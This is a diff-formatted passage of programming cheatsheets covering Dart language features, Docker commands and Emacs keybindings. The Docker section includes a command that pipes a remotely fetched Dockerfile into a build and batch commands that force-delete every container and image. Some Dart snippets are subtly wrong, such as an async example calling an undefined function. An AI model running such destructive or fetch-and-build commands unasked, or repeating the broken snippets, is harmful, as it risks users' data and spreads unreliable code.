```dart
|
||||
class Phone {
|
||||
|
||||
void use(){
|
||||
_call();
|
||||
_sendMessage();
|
||||
}
|
||||
}
|
||||
// Use extends to create a subclass
|
||||
class SmartPhone extends Phone {
|
||||
void use(){
|
||||
// use super to refer to the superclass
|
||||
super.use();
|
||||
_takePhotos();
|
||||
_playGames();
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Exceptions {.cols-3}
|
||||
------------
|
||||
|
||||
### Throw
|
||||
```dart
|
||||
// throws or raises and exception
|
||||
throw IntegerDivisionByZeroException();
|
||||
|
||||
// You can also throw arbitrary objects
|
||||
throw "Product out of stock!";
|
||||
```
|
||||
|
||||
### Catch
|
||||
```dart
|
||||
|
||||
try {
|
||||
int c = 3/0;
|
||||
print(c);
|
||||
} on IntegerDivisionByZeroException {
|
||||
// A specific exception
|
||||
print('Can not divide integer by 0.')
|
||||
} on Exception catch (e) {
|
||||
// Anything else that is an exception
|
||||
print('Unknown exception: $e');
|
||||
} catch (e) {
|
||||
// No specified type, handles all
|
||||
print('Something really unknown: $e');
|
||||
}
|
||||
|
||||
```
|
||||
### Finally
|
||||
```dart
|
||||
// To ensure that some code runs whether or not an exception is thrown
|
||||
try {
|
||||
cookFood();
|
||||
} catch (e) {
|
||||
print('Error: $e'); // Handle the exception first.
|
||||
} finally {
|
||||
cleanKitchen(); // Then clean up.
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
Futures
|
||||
------------
|
||||
### Async Await
|
||||
```dart
|
||||
// functionswhich are asynchronous: they return after setting up a possibly time-consuming operation
|
||||
// The async and await keywords support asynchronous programming
|
||||
|
||||
Future<String> login() {
|
||||
String userName="Temidjoy";
|
||||
return
|
||||
Future.delayed(
|
||||
Duration(seconds: 4), () => userName);
|
||||
}
|
||||
|
||||
// Asynchronous
|
||||
main() async {
|
||||
print('Authenticating please wait...');
|
||||
print(await userName());
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
|
||||
Miscellaneous {.cols-2}
|
||||
------------
|
||||
|
||||
### Null and Null aware
|
||||
|
||||
```dart
|
||||
int x; // The initial value of any object is null
|
||||
|
||||
// ?? null aware operator
|
||||
|
||||
x ??=6; // ??= assignment operator, which assigns a value of a variable only if that variable is currently null
|
||||
print(x); //Print: 6
|
||||
|
||||
x ??=3;
|
||||
print(x); // Print: 6 - result is still 6
|
||||
|
||||
print(null ?? 10); // Prints: 10. Display the value on the left if it's not null else return the value on the right
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Ternary Operator
|
||||
```dart
|
||||
// condition ? exprIfTrue : exprIfFalse
|
||||
bool isAvailable;
|
||||
|
||||
isAvailable ? orderproduct() : addToFavourite();
|
||||
```
|
||||
|
||||
|
||||
### Spread Operator (...)
|
||||
|
||||
```dart
|
||||
// to insert multiple values into a collection.
|
||||
var list = [1, 2, 3];
|
||||
var list2 = [0, ...list];
|
||||
|
||||
print(list2.length); //Print: 4
|
||||
```
|
||||
|
||||
### Cascade notation (..)
|
||||
|
||||
```dart
|
||||
// allows you to make a sequence of operations on the same object
|
||||
|
||||
// rather than doing this
|
||||
var user = User();
|
||||
user.name = "Nicola";
|
||||
user.email = "nicola@g.c";
|
||||
user.age = 24;
|
||||
|
||||
// you can do this
|
||||
var user = User()
|
||||
..name = "Nicola"
|
||||
..email = "nicola@g.c"
|
||||
..age = 24;
|
||||
```
|
||||
|
||||
### Conditional Property Access
|
||||
```dart
|
||||
userObject?.userName
|
||||
|
||||
//The code snippet above is equivalent to following:
|
||||
(userObject != null) ? userObject.userName : null
|
||||
|
||||
//You can chain multiple uses of ?. together in a single expression
|
||||
userObject?.userName?.toString()
|
||||
|
||||
// The preceeding code returns null and never calls toString() if either userObject or userObject.userName is null
|
||||
```
|
||||
@@ -0,0 +1,302 @@
|
||||
---
|
||||
title: Docker
|
||||
date: 2020-12-30 10:55:24
|
||||
icon: icon-docker
|
||||
background: bg-[#488fdf]
|
||||
tags:
|
||||
- container
|
||||
- virtual
|
||||
categories:
|
||||
- Programming
|
||||
intro: |
|
||||
This is a quick reference cheat sheet for [Docker](https://docs.docker.com/get-started/). And you can find the most common Docker commands here.
|
||||
---
|
||||
|
||||
Getting started {.cols-2}
|
||||
---------------
|
||||
|
||||
### Getting started
|
||||
Create and run a container in background
|
||||
|
||||
```shell script
|
||||
$ docker run -d -p 80:80 docker/getting-started
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
- `-d` - Run the container in detached mode
|
||||
- `-p 80:80` - Map port 80 to port 80 in the container
|
||||
- `docker/getting-started` - The image to use
|
||||
{.style-none}
|
||||
|
||||
|
||||
Create and run a container in foreground
|
||||
```shell script
|
||||
$ docker run -it -p 8001:8080 --name my-nginx nginx
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
- `-it` - Interactive bash mode
|
||||
- `-p 8001:8080` - Map port 8001 to port 8080 in the container
|
||||
- `--name my-nginx` - Specify a name
|
||||
- `nginx` - The image to use
|
||||
{.style-none}
|
||||
|
||||
|
||||
|
||||
### General commands
|
||||
| Example | Description |
|
||||
|-------------------------------------|--------------------------------------------------|
|
||||
| `docker ps` | List running containers |
|
||||
| `docker ps -a` | List all containers |
|
||||
| `docker ps -s` | List running containers<br>_(with CPU / memory)_ |
|
||||
| `docker images` | List all images |
|
||||
| `docker exec -it <container> bash` | Connecting to container |
|
||||
| `docker logs <container>` | Shows container's console log |
|
||||
| `docker stop <container>` | Stop a container |
|
||||
| `docker restart <container>` | Restart a container |
|
||||
| `docker rm <container>` | Remove a container |
|
||||
| `docker port <container>` | Shows container's port mapping |
|
||||
| `docker top <container>` | List processes |
|
||||
| `docker kill <container>` | Kill a container |
|
||||
|
||||
Parameter `<container>` can be container id or name
|
||||
|
||||
|
||||
|
||||
|
||||
Docker Containers {.cols-2}
|
||||
----------
|
||||
|
||||
|
||||
### Starting & Stopping
|
||||
| Description | Example |
|
||||
|-------------------------------|-------------------------------------|
|
||||
| `docker start nginx-server` | Starting |
|
||||
| `docker stop nginx-server` | Stopping |
|
||||
| `docker restart nginx-server` | Restarting |
|
||||
| `docker pause nginx-server` | Pausing |
|
||||
| `docker unpause nginx-server` | Unpausing |
|
||||
| `docker wait nginx-server` | Blocking a Container |
|
||||
| `docker kill nginx-server` | Sending a SIGKILL |
|
||||
| `docker attach nginx-server` | Connecting to an Existing Container |
|
||||
|
||||
|
||||
|
||||
### Information
|
||||
|
||||
| Example | Description |
|
||||
|-------------------------------|----------------------------------------|
|
||||
| `docker ps` | List running containers |
|
||||
| `docker ps -a` | List all containers |
|
||||
| `docker logs nginx-server` | Container Logs |
|
||||
| `docker inspect nginx-server` | Inspecting Containers |
|
||||
| `docker events nginx-server` | Containers Events |
|
||||
| `docker port nginx-server` | Public Ports |
|
||||
| `docker top nginx-server` | Running Processes |
|
||||
| `docker stats nginx-server` | Container Resource Usage |
|
||||
| `docker diff nginx-server` | Lists the changes made to a container. |
|
||||
|
||||
|
||||
### Creating
|
||||
|
||||
```yaml
|
||||
docker create [options] IMAGE
|
||||
-a, --attach # attach stdout/err
|
||||
-i, --interactive # attach stdin (interactive)
|
||||
-t, --tty # pseudo-tty
|
||||
--name NAME # name your image
|
||||
-p, --publish 5000:5000 # port map (host:container)
|
||||
--expose 5432 # expose a port to containers
|
||||
-P, --publish-all # publish all ports
|
||||
--link container:alias # linking
|
||||
-v, --volume `pwd`:/app # mount (absolute paths needed)
|
||||
-e, --env NAME=hello # env vars
|
||||
```
|
||||
#### Example
|
||||
```shell script
|
||||
$ docker create --name my_redis --expose 6379 redis:3.0.2
|
||||
```
|
||||
|
||||
|
||||
### Manipulating
|
||||
Renaming a Container
|
||||
```shell script
|
||||
docker rename my-nginx nginx-server
|
||||
```
|
||||
Removing a Container
|
||||
```shell script
|
||||
docker rm nginx-server
|
||||
```
|
||||
Updating a Container
|
||||
```shell script
|
||||
docker update --cpu-shares 512 -m 300M nginx-server
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
Docker Images {.cols-2}
|
||||
------
|
||||
|
||||
### Manipulating
|
||||
| `Example` | Description |
|
||||
|------------------------------------|---------------------------------|
|
||||
| `docker images` | Listing images |
|
||||
| `docker rmi nginx` | Removing an image |
|
||||
| `docker load < ubuntu.tar.gz` | Loading a tarred repository |
|
||||
| `docker load --input ubuntu.tar` | Loading a tarred repository |
|
||||
| `docker save busybox > ubuntu.tar` | Save an image to a tar archive |
|
||||
| `docker history` | Showing the history of an image |
|
||||
| `docker commit nginx` | Save a container as an image. |
|
||||
| `docker tag nginx eon01/nginx` | Tagging an image |
|
||||
| `docker push eon01/nginx` | Pushing an image |
|
||||
|
||||
|
||||
### Building Images
|
||||
```shell script
|
||||
$ docker build .
|
||||
$ docker build github.com/creack/docker-firefox
|
||||
$ docker build - < Dockerfile
|
||||
$ docker build - < context.tar.gz
|
||||
$ docker build -t eon/nginx-server .
|
||||
$ docker build -f myOtherDockerfile .
|
||||
$ curl example.com/remote/Dockerfile | docker build -f - .
|
||||
```
|
||||
|
||||
|
||||
|
||||
Docker Networking {.cols-2}
|
||||
----------
|
||||
|
||||
|
||||
|
||||
|
||||
### Manipulating
|
||||
|
||||
Removing a network
|
||||
```shell script
|
||||
docker network rm MyOverlayNetwork
|
||||
```
|
||||
Listing networks
|
||||
```shell script
|
||||
docker network ls
|
||||
```
|
||||
Getting information about a network
|
||||
```shell script
|
||||
docker network inspect MyOverlayNetwork
|
||||
```
|
||||
Connecting a running container to a network
|
||||
```shell script
|
||||
docker network connect MyOverlayNetwork nginx
|
||||
```
|
||||
Connecting a container to a network when it starts
|
||||
```shell script
|
||||
docker run -it -d --network=MyOverlayNetwork nginx
|
||||
```
|
||||
Disconnecting a container from a network
|
||||
```shell script
|
||||
docker network disconnect MyOverlayNetwork nginx
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Creating Networks
|
||||
```shell script
|
||||
docker network create -d overlay MyOverlayNetwork
|
||||
|
||||
docker network create -d bridge MyBridgeNetwork
|
||||
|
||||
docker network create -d overlay \
|
||||
--subnet=192.168.0.0/16 \
|
||||
--subnet=192.170.0.0/16 \
|
||||
--gateway=192.168.0.100 \
|
||||
--gateway=192.170.0.100 \
|
||||
--ip-range=192.168.1.0/24 \
|
||||
--aux-address="my-router=192.168.1.5" \
|
||||
--aux-address="my-switch=192.168.1.6" \
|
||||
--aux-address="my-printer=192.170.1.5" \
|
||||
--aux-address="my-nas=192.170.1.6" \
|
||||
MyOverlayNetwork
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
Miscellaneous {.cols-2}
|
||||
-------------
|
||||
|
||||
|
||||
### Docker Hub
|
||||
| Docker Syntax | Description |
|
||||
|-----------------------------|-------------------------------------|
|
||||
| `docker search search_word` | Search docker hub for images. |
|
||||
| `docker pull user/image ` | Downloads an image from docker hub. |
|
||||
| `docker login ` | Authenticate to docker hub |
|
||||
| `docker push user/image ` | Uploads an image to docker hub. |
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Registry commands {.row-span-3}
|
||||
|
||||
Login to a Registry
|
||||
|
||||
```shell script
|
||||
$ docker login
|
||||
$ docker login localhost:8080
|
||||
```
|
||||
|
||||
Logout from a Registry
|
||||
|
||||
```shell script
|
||||
$ docker logout
|
||||
$ docker logout localhost:8080
|
||||
```
|
||||
|
||||
Searching an Image
|
||||
|
||||
```shell script
|
||||
$ docker search nginx
|
||||
$ docker search nginx --stars=3 --no-trunc busybox
|
||||
```
|
||||
|
||||
Pulling an Image
|
||||
|
||||
```shell script
|
||||
$ docker pull nginx
|
||||
$ docker pull eon01/nginx localhost:5000/myadmin/nginx
|
||||
```
|
||||
|
||||
Pushing an Image
|
||||
|
||||
```shell script
|
||||
$ docker push eon01/nginx
|
||||
$ docker push eon01/nginx localhost:5000/myadmin/nginx
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Batch clean
|
||||
| Example | Description |
|
||||
|-------------|---------------------------------------------|
|
||||
`docker stop -f $(docker ps -a -q)` | Stopping all containers
|
||||
`docker rm -f $(docker ps -a -q)` | Removing all containers
|
||||
`docker rmi -f $(docker images -q)` | Removing all images
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Volumes
|
||||
|
||||
Check volumes
|
||||
```shell script
|
||||
$ docker volume ls
|
||||
```
|
||||
Cleanup unused volumes
|
||||
```shell script
|
||||
$ docker volume prune
|
||||
```
|
||||
@@ -0,0 +1,590 @@
|
||||
---
|
||||
title: Emacs
|
||||
date: 2020-12-17 16:21:49
|
||||
icon: icon-emacs
|
||||
background: bg-[#7752a9]
|
||||
tags:
|
||||
- editor
|
||||
- text
|
||||
- shortcut
|
||||
categories:
|
||||
- Toolkit
|
||||
intro: |
|
||||
[Emacs](https://www.gnu.org/software/emacs) is the extensible, customizable, self-documenting real time display text editor.
|
||||
This reference was made for Emacs 27.
|
||||
---
|
||||
|
||||
|
||||
## Getting started {.cols-3}
|
||||
|
||||
|
||||
### Starting Emacs
|
||||
To enter Emacs, just type its name:
|
||||
```shell script
|
||||
$ emacs
|
||||
```
|
||||
|
||||
------
|
||||
|
||||
| - | - |
|
||||
|-------------|------------------------|
|
||||
| `C-z` | Suspend Emacs |
|
||||
| `C-x` `C-c` | Exit Emacs permanently |
|
||||
{.shortcuts}
|
||||
|
||||
### Global Description {.secondary}
|
||||
| - | - |
|
||||
|-----------|---------------------------------------------|
|
||||
| `C-<key>` | Means hold the control, and press `<key>` |
|
||||
| `M-<key>` | Means press the Esc once, and press `<key>` |
|
||||
{.shortcuts}
|
||||
|
||||
NOTICE: This cheatsheet follows the above rules.
|
||||
|
||||
|
||||
### Motion {.row-span-2}
|
||||
|
||||
| Backward | Forward | Entity to move over |
|
||||
|-----------|-----------|--------------------------------|
|
||||
| `C-b` | `C-f` | Haracter |
|
||||
| `M-b` | `M-f` | Word |
|
||||
| `C-p` | `C-n` | Line |
|
||||
| `C-a` | `C-e` | Line beginning<br/>_(or end)_ |
|
||||
| `M-a` | `M-e` | Sentence |
|
||||
| `M-{` | `M-}` | Paragraph |
|
||||
| `C-x` `[` | `C-x` `]` | Page |
|
||||
| `C-M-b` | `C-M-f` | Sexp |
|
||||
| `C-M-a` | `C-M-e` | Function |
|
||||
| `M-<` | `M->` | Buffer beginning<br>_(or end)_ |
|
||||
{.shortcuts .show-header}
|
||||
|
||||
|
||||
|
||||
### Case Change
|
||||
|
||||
| - | - |
|
||||
|-------------|------------------|
|
||||
| `M-u` | Uppercase word |
|
||||
| `M-l` | Lowercase word |
|
||||
| `M-c` | Capitalize word |
|
||||
| `C-x` `C-u` | Uppercase region |
|
||||
| `C-x` `C-l` | Lowercase region |
|
||||
{.shortcuts}
|
||||
|
||||
|
||||
|
||||
### Files
|
||||
|
||||
| - | - |
|
||||
|-------------|--------------------------------------------------|
|
||||
| `C-x` `C-f` | Read a file into Emacs |
|
||||
| `C-x` `C-s` | Save a file back to disk |
|
||||
| `C-x` `s` | Save all files |
|
||||
| `C-x` `i` | Insert contents of another file into this buffer |
|
||||
| `C-x` `C-v` | Replace this file with your file |
|
||||
| `C-x` `C-w` | Write buffer to a specified file |
|
||||
| `C-x` `C-q` | Toggle read-only status of buffer |
|
||||
{.shortcuts}
|
||||
|
||||
|
||||
|
||||
|
||||
### Error Recovery
|
||||
|
||||
| - | - |
|
||||
|-----------------------------|--------------------------------------------|
|
||||
| `C-g` | Abort partially typed or executing command |
|
||||
| `M-x` recover-session | Recover files lost by a system crash |
|
||||
| `C-x` `u`<br>`C-_`<br>`C-/` | Undo an unwanted change |
|
||||
| `M-x` revert-buffer | Restore a buffer to its original contents |
|
||||
| `C-l` | Redraw garbaged screen |
|
||||
{.shortcuts}
|
||||
|
||||
|
||||
|
||||
|
||||
### Transposing {.row-span-2}
|
||||
|
||||
| - | - |
|
||||
|-------------|----------------------|
|
||||
| `C-t` | Transpose characters |
|
||||
| `M-t` | Transpose words |
|
||||
| `C-x` `C-t` | Transpose lines |
|
||||
| `C-M-t` | Transpose sexps |
|
||||
{.shortcuts}
|
||||
|
||||
#### Scroll
|
||||
|
||||
| - | - |
|
||||
|-----------|--------------------------------------------------|
|
||||
| `C-v` | Scroll to next screen |
|
||||
| `M-v` | Scroll to previous screen |
|
||||
| `C-x` `<` | Scroll left |
|
||||
| `C-x` `>` | Scroll right |
|
||||
| `C-l` | Scroll current line to <br>_center, top, bottom_ |
|
||||
{.shortcuts}
|
||||
|
||||
#### Goto
|
||||
|
||||
| - | - |
|
||||
|-----------|---------------------|
|
||||
| `M-g` `g` | Goto line |
|
||||
| `M-g` `c` | Goto char |
|
||||
| `M-m` | Back to indentation |
|
||||
{.shortcuts}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Marking
|
||||
|
||||
| - | - |
|
||||
|-------------------|-------------------------|
|
||||
| `C-@`<br/>`C-SPC` | Uet mark here |
|
||||
| `C-x` `C-x` | Exchange point and mark |
|
||||
| `M-@` | Set mark arg words away |
|
||||
| `M-h` | Mark paragraph |
|
||||
| `C-x` `C-p` | Mark page |
|
||||
| `C-M-@` | Mark sexp |
|
||||
| `C-M-h` | Mark function |
|
||||
| `C-x` `h` | Mark entire buffer |
|
||||
{.shortcuts}
|
||||
|
||||
|
||||
|
||||
|
||||
### Killing and Deleting {.row-span-2}
|
||||
|
||||
| Backward | Forward | Entity to kill |
|
||||
|---------------|---------|--------------------------|
|
||||
| `DEL` | `C-d` | Character <br>_(delete)_ |
|
||||
| `M-DEL` | `M-d` | Word |
|
||||
| `M-0` `C-k` | `C-k` | Line <br/> _(to end of)_ |
|
||||
| `C-x` `DEL` | `M-k` | Sentence |
|
||||
| `M--` `C-M-k` | `C-M-k` | Sexp |
|
||||
{.shortcuts .show-header}
|
||||
#### Killing
|
||||
|
||||
| - | - |
|
||||
|------------|--------------------------------------|
|
||||
| `C-W` | Kill region C-w |
|
||||
| `M-w` | Copy region to kill ring |
|
||||
| `M-z` char | Kill through next occurrence of char |
|
||||
| `C-y` | Yank back last thing killed |
|
||||
| `M-y` | Replace last yank with previous kill |
|
||||
{.shortcuts}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Getting Help
|
||||
|
||||
| - | - |
|
||||
|-----------|------------------------------------------|
|
||||
| `C-x` `1` | Remove help window |
|
||||
| `C-M-v` | Scroll help window |
|
||||
| `C-h` `a` | Apropos: show commands matching a string |
|
||||
| `C-h` `k` | Describe the function a key runs |
|
||||
| `C-h` `f` | Describe a function |
|
||||
| `C-h` `m` | Get mode-specific information |
|
||||
{.shortcuts}
|
||||
|
||||
The help system is simple. Type `C-h` (or `F1`) and follow the directions. If you are a first-time user, type `C-h` `t` for a tutorial.
|
||||
|
||||
|
||||
|
||||
|
||||
### Multiple Windows {.col-span-2}
|
||||
When two commands are shown, the second is a similar command for a frame instead of a window.
|
||||
| - | - | - |
|
||||
|---------------|-----------|-------------------------------|
|
||||
| `C-x` `5` `1` | `C-x` `1` | Delete all other windows |
|
||||
| `C-x` `5` `2` | `C-x` `2` | Split window, above and below |
|
||||
| `C-x` `5` `0` | `C-x` `0` | Delete this window |
|
||||
|
||||
| `C-x` `3` || Split window, side by side |
|
||||
| `C-M-v` || Scroll other window |
|
||||
|
||||
| `C-x` `5` `o` | `C-x` `o` | Switch cursor to another window |
|
||||
| `C-x` `5` `b` | `C-x` `4` `b` | Select buffer in other window |
|
||||
| `C-x` `5` `C-o` | `C-x` `4` `C-o` | Display buffer in other window |
|
||||
| `C-x` `5` `f` | `C-x` `4` `f` | Find file in other window |
|
||||
| `C-x` `5` `r` | `C-x` `4` `r` | Find file read-only in other window |
|
||||
| `C-x` `5` `d` | `C-x` `4` `d` | Run Dired in other window |
|
||||
| `C-x` `5` `.` | `C-x` `4` `.` | Find tag in other window |
|
||||
|
||||
| `C-x` `^` || Grow window taller |
|
||||
| `C-x` `{` || Shrink window narrower |
|
||||
| `C-x` `}` || Grow window wider |
|
||||
{.shortcuts}
|
||||
|
||||
|
||||
|
||||
|
||||
### Formatting
|
||||
|
||||
| - | - |
|
||||
|-------------|------------------------------------------|
|
||||
| `TAB` | Indent current line (mode-dependent) |
|
||||
| `C-M-\` | Indent region (mode-dependent) |
|
||||
| `C-M-q` | Indent sexp (mode-dependent) |
|
||||
| `C-x` `TAB` | Indent region rigidly arg columns |
|
||||
| `M-;` | Indent for comment |
|
||||
| `C-o` | Insert newline after point |
|
||||
| `C-M-o` | Move rest of line vertically down |
|
||||
| `C-x` `C-o` | Delete blank lines around point |
|
||||
| `M-^` | Join line with previous (with arg, next) |
|
||||
| `M-\` | Delete all white space around point |
|
||||
| `M-SPC` | Put exactly one space at point |
|
||||
| `M-q` | Fill paragraph |
|
||||
| `C-x` `f` | Set fill column to arg |
|
||||
| `C-x` `.` | Set prefix each line starts with |
|
||||
| `M-o` | Set face |
|
||||
{.shortcuts}
|
||||
|
||||
|
||||
|
||||
|
||||
### Info {.row-span-2}
|
||||
|
||||
| - | - |
|
||||
|-----------|---------------------------------------------|
|
||||
| `C-h` `i` | Enter the Info documentation reader |
|
||||
| `C-h` `S` | Find specified function or variable in Info |
|
||||
{.shortcuts}
|
||||
|
||||
#### Moving within a node
|
||||
|
||||
| - | - |
|
||||
|-------|-------------------|
|
||||
| `SPC` | Scroll forward |
|
||||
| `DEL` | Scroll reverse |
|
||||
| `b` | Beginning of node |
|
||||
{.shortcuts}
|
||||
|
||||
#### Moving between nodes
|
||||
|
||||
| - | - |
|
||||
|-----|----------------------------------------|
|
||||
| `n` | Next node |
|
||||
| `p` | Previous node |
|
||||
| `u` | Move up |
|
||||
| `m` | Select menu item by name |
|
||||
| `n` | Select nth menu item by number (1–9) |
|
||||
| `f` | Follow cross reference (return with l) |
|
||||
| `l` | Return to last node you saw |
|
||||
| `d` | Return to directory node |
|
||||
| `t` | Go to top node of Info file |
|
||||
| `g` | Go to any node by name |
|
||||
{.shortcuts}
|
||||
|
||||
#### Other
|
||||
|
||||
| - | - |
|
||||
|-----|----------------------------------|
|
||||
| `h` | Run Info tutorial |
|
||||
| `i` | Look up a subject in the indices |
|
||||
| `s` | Search nodes for regexp |
|
||||
| `q` | Quit Info |
|
||||
{.shortcuts}
|
||||
|
||||
|
||||
|
||||
|
||||
### Minibuffer
|
||||
The following keys are defined in the minibuffer.
|
||||
| - | - |
|
||||
|-------|-----------------------------------------|
|
||||
| `TAB` | Complete as much as possible |
|
||||
| `SPC` | Complete up to one word |
|
||||
| `RET` | Complete and execute |
|
||||
| `?` | Show possible completions |
|
||||
| `M-p` | Fetch previous minibuffer input |
|
||||
| `M-n` | Fetch later minibuffer input or default |
|
||||
| `M-r` | Regexp search backward through history |
|
||||
| `M-s` | Regexp search forward through history |
|
||||
| `C-g` | Abort command |
|
||||
{.shortcuts}
|
||||
|
||||
Type `C-x` `ESC` `ESC` to edit and repeat the last command that used the minibuffer. Type `F10` to activate menu bar items on text terminals.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Tags
|
||||
|
||||
| - | - |
|
||||
|--------------------------|--------------------------------------------|
|
||||
| `M-.` | Find a tag (a definition) |
|
||||
| `C-u` `M-.` | Find next occurrence of tag |
|
||||
| `M-x` visit-tags-table | Specify a new tags file |
|
||||
| `M-x` tags-search | Regexp search on all files in tags table |
|
||||
| `M-x` tags-query-replace | Run query-replace on all the files |
|
||||
| `M-,` | Continue last tags search or query-replace |
|
||||
{.shortcuts}
|
||||
|
||||
|
||||
|
||||
### Rectangles
|
||||
|
||||
| - | - |
|
||||
|---------------|-------------------------------------|
|
||||
| `C-x` `r` `r` | Copy rectangle to register |
|
||||
| `C-x` `r` `k` | Kill rectangle |
|
||||
| `C-x` `r` `y` | Yank rectangle |
|
||||
| `C-x` `r` `o` | Open rectangle, shifting text right |
|
||||
| `C-x` `r` `c` | Blank out rectangle |
|
||||
| `C-x` `r` `t` | Prefix each line with a string |
|
||||
{.shortcuts}
|
||||
|
||||
|
||||
|
||||
### Keyboard Macros
|
||||
|
||||
| - | - |
|
||||
|---------------------------|-------------------------------------|
|
||||
| `C-x` `(` | Start defining a keyboard macro |
|
||||
| `C-x` `)` | End keyboard macro definition |
|
||||
| `C-x` `e` | Execute last-defined keyboard macro |
|
||||
| `C-u` `C-x` `(` | Append to last keyboard macro |
|
||||
| `M-x` name-last-kbd-macro | Name last keyboard macro |
|
||||
| `M-x` insert-kbd-macro | Insert Lisp definition in buffer |
|
||||
{.shortcuts}
|
||||
|
||||
|
||||
|
||||
|
||||
### Buffers
|
||||
|
||||
| - | - |
|
||||
|-------------|-----------------------|
|
||||
| `C-x` `b` | Select another buffer |
|
||||
| `C-x` `C-b` | List all buffers |
|
||||
| `C-x` `k` | Kill a buffer |
|
||||
{.shortcuts}
|
||||
|
||||
|
||||
|
||||
Emacs Search{.cols-3}
|
||||
------
|
||||
|
||||
|
||||
|
||||
### Regex (common) {.row-span-2}
|
||||
|
||||
| - | - |
|
||||
|---------------|----------------------------------------------|
|
||||
| `.` `(dot)` | Any single character except a newline |
|
||||
| `*` | Zero or more repeats |
|
||||
| `+` | One or more repeats |
|
||||
| `?` | Zero or one repeat |
|
||||
| `\` | Quote special characters |
|
||||
| `\c` | Quote regular expression special character c |
|
||||
| `\|` | Alternative (“or”) |
|
||||
| `\(...\)` | Grouping |
|
||||
| `\(:?...\)` | Shy grouping |
|
||||
| `\(:NUM...\)` | Explicit numbered grouping |
|
||||
| `\n` | Same text as nth group |
|
||||
| `\b` | At word break |
|
||||
| `\B` | Not at word break |
|
||||
|
||||
### Regex (entry)
|
||||
| Start | End | Entity |
|
||||
|-------|-------|--------|
|
||||
| `^` | `$` | Line |
|
||||
| `\<` | `\>` | Word |
|
||||
| `\_<` | `\_>` | Symbol |
|
||||
| `\‘` | `\’` | Buffer |
|
||||
{.show-header}
|
||||
|
||||
### Regex (conflict)
|
||||
|
||||
| These | Others | class |
|
||||
|---------|----------|---------------------------|
|
||||
| `[...]` | `[^...]` | Explicit set |
|
||||
| `\w` | `\W` | Word-syntax character |
|
||||
| `\sc` | `\Sc` | Character with syntax c |
|
||||
| `\cc` | `\Cc` | Character with category c |
|
||||
{.show-header}
|
||||
|
||||
|
||||
### Incremental Search
|
||||
|
||||
| - | - |
|
||||
|---------|-----------------------------------|
|
||||
| `C-s` | Search forward |
|
||||
| `C-r` | Search backward |
|
||||
| `C-M-s` | Regular expression search |
|
||||
| `C-M-r` | Reverse regular expression search |
|
||||
| `M-p` | Select previous search string |
|
||||
| `M-n` | Select next later search string |
|
||||
| `RET` | Exit incremental search |
|
||||
| `DEL` | Undo effect of last character |
|
||||
| `C-g` | Abort current search |
|
||||
{.shortcuts}
|
||||
|
||||
Use `C-s` or `C-r` again to repeat the search in either direction. If Emacs is still searching, `C-g` cancels only the part not matched.
|
||||
|
||||
|
||||
|
||||
|
||||
### Query Replace
|
||||
|
||||
| - | - |
|
||||
|--------------|--------------------------------------|
|
||||
| `M-%` | Interactively replace a text string |
|
||||
| `M-x` regexp | Using regular expressions |
|
||||
| `SPC` / `y` | Replace this one, go on to next |
|
||||
| `,` | Replace this one, don’t move |
|
||||
| `DEL` / `n` | Skip to next without replacing |
|
||||
| `!` | Replace all remaining matches |
|
||||
| `^` | Back up to the previous match |
|
||||
| `RET` | Exit query-replace |
|
||||
| `C-r` | Enter recursive edit (C-M-c to exit) |
|
||||
{.shortcuts}
|
||||
|
||||
|
||||
|
||||
Misc {.cols-3}
|
||||
----
|
||||
|
||||
|
||||
### Shells
|
||||
|
||||
| - | - |
|
||||
|-------------|----------------------------------------|
|
||||
| `M-!` | Execute a shell command |
|
||||
| `M-&` | Execute a shell command asynchronously |
|
||||
| `M-` | Run a shell command on the region |
|
||||
| `C-u` `M-` | Filter region through a shell command |
|
||||
| `M-x` shell | Start a shell in window shell |
|
||||
{.shortcuts}
|
||||
|
||||
|
||||
|
||||
### International Character Sets {.col-span-2}
|
||||
|
||||
| - | - |
|
||||
|----------------------------|------------------------------------|
|
||||
| `C-x` `RET` `l` | specify principal language |
|
||||
| `M-x` list-input-methods | show all input methods |
|
||||
| `C-\` | enable or disable input method |
|
||||
| `C-x` `RET` `c` | set coding system for next command |
|
||||
| `M-x` list-coding-systems | show all coding systems |
|
||||
| `M-x` prefer-coding-system | choose preferred coding system |
|
||||
{.shortcuts}
|
||||
|
||||
|
||||
### Registers
|
||||
|
||||
| - | - |
|
||||
|-----------------|--------------------------------------|
|
||||
| `C-x` `r` `s` | Save region in register |
|
||||
| `C-x` `r` `i` | Insert register contents into buffer |
|
||||
| `C-x` `r` `SPC` | Save value of point in register |
|
||||
| `C-x` `r` `j` | Jump to point saved in register |
|
||||
{.shortcuts}
|
||||
|
||||
|
||||
|
||||
|
||||
### Miscellaneous
|
||||
|
||||
| - | - |
|
||||
|------------|-------------------|
|
||||
| `C-u` num | Numeric argument |
|
||||
| `M--` | Negative argument |
|
||||
| `C-q` char | Quoted insert |
|
||||
{.shortcuts}
|
||||
|
||||
|
||||
|
||||
### Commands Dealing with Emacs Lisp
|
||||
|
||||
| - | - |
|
||||
|--------------------|------------------------------------|
|
||||
| `C-x` `C-e` | Eval sexp before point |
|
||||
| `C-M-x` | Eval current defun |
|
||||
| `M-x` eval-region | Eval region |
|
||||
| `M-:` | Read and eval minibuffer |
|
||||
| `M-x` load-library | Load a Lisp library from load-path |
|
||||
{.shortcuts}
|
||||
|
||||
|
||||
|
||||
|
||||
### Simple Customization
|
||||
|
||||
| - | - |
|
||||
|-------------------|-------------------------------|
|
||||
| `M-x` `customize` | customize variables and faces |
|
||||
|
||||
Making global key bindings in Emacs Lisp:
|
||||
|
||||
``` {.wrap}
|
||||
(global-set-key (kbd "C-c g") ’search-forward)
|
||||
(global-set-key (kbd "M-#") ’query-replace-regexp)
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
### Abbrevs
|
